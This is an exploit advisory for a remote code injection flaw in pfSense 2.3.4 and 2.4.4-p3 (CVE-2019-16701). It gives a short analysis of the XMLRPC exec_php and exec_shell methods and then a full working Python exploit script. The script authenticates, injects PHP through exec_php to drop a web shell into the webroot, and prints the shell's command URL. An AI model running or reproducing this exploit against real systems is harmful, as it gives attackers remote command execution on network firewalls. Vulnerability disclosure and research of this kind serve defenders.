Share
# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection  
# Date: 23/09/2018  
# Author: Nassim Asrir  
# Vendor Homepage: https://www.pfsense.org/  
# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/  
# CVE: CVE-2019-16701  
# Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3  
######################################################################################################  
  
1 : About Pfsense:  
==================  
  
pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more.  
  
2 : Technical Analysis:  
=======================  
  
The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands.  
  
XMLRPC methods:  
  
pfsense.exec_shell  
pfsense.exec_php  
pfsense.filter_configure  
pfsense.interfaces_carp_configure  
pfsense.backup_config_section  
pfsense.restore_config_section  
pfsense.merge_config_section  
pfsense.merge_installedpackages_section_xmlrpc  
pfsense.host_firmware_version  
pfsense.reboot  
pfsense.get_notices  
system.listMethods  
system.methodHelp  
system.methodSignature  
  
As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php.  
  
2 : Static Analysis:  
====================  
  
In the static analysis we will analysis the xmlrpc.php file.   
  
Line (73 - 82)  
  
This code check if the user have enough privileges.  
  
$user_entry = getUserEntry($username);  
/*  
* admin (uid = 0) is allowed   
* or regular user with necessary privilege  
*/  
if (isset($user_entry['uid']) && $user_entry['uid'] != '0' &&  
!userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) {  
log_auth("webConfigurator authentication error for '" .  
$username . "' from " . $this->remote_addr .  
" not enough privileges");  
  
  
Line (137 - 146)  
  
This part of code is the interest for us.  
  
As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code).  
  
public function exec_php($code) {  
$this->auth();  
  
eval($code);  
if ($toreturn) {  
return $toreturn;  
}  
  
return true;  
}  
  
Line (155 - 160)  
  
In this part of code also we have a check for auth then the execution for ($code)  
  
public function exec_shell($code) {  
$this->auth();  
  
mwexec($code);  
return true;  
}  
  
3 - Exploit:  
============  
  
#!/usr/bin/env python  
  
import argparse  
import requests  
import urllib2  
import time  
import sys  
import string  
import random  
  
parser = argparse.ArgumentParser()  
parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1")  
parser.add_argument("--password", help = "pfsense Password")  
args = parser.parse_args()  
  
rhost = args.rhost  
password = args.password  
print ""  
  
print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection"  
print ""  
print "[+] Author: Nassim Asrir"  
print ""  
  
command = "<?xml version='1.0' encoding='iso-8859-1'?>"  
command += "<methodCall>"  
command += "<methodName>pfsense.host_firmware_version</methodName>"  
command += "<params>"  
command += "<param><value><string>"+password+"</string></value></param>"  
command += "</params>"  
command += "</methodCall>"  
  
stage1 = rhost + "/xmlrpc.php"  
  
page = urllib2.urlopen(stage1, data=command).read()  
  
print "[+] Checking Login Creds"  
  
  
if "Authentication failed" in page:  
  
print "[-] Wrong password :("  
sys.exit(0)  
else:  
  
random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)])  
  
print "[+] logged in successfully :)"   
print "[+] Generating random file "+random+".php"  
print "[+] Sending the exploit ....."  
  
  
command = "<?xml version='1.0' encoding='iso-8859-1'?>"  
command += "<methodCall>"  
command += "<methodName>pfsense.exec_php</methodName>"  
command += "<params>"  
command += "<param><value><string>"+password+"</string></value></param>"  
command += "<param><value><string>exec('echo \\'<pre> <?php $res = system($_GET[\"cmd\"]); echo $res ?> </pre>\\' > /usr/local/www/"+random+".php');</string></value></param>"  
command += "</params>"  
command += "</methodCall>"  
  
stage1 = rhost + "/xmlrpc.php"  
  
page = urllib2.urlopen(stage1, data=command).read()  
  
final = rhost+"/"+str(random)+".php"  
  
check = urllib2.urlopen(final)  
  
print "[+] Checking ....."  
  
if check.getcode() == 200:  
  
print "[+] Yeah! You got your shell: " + final+"?cmd=id"  
else:  
  
print "[+] Sorry :( Shell not found check the path"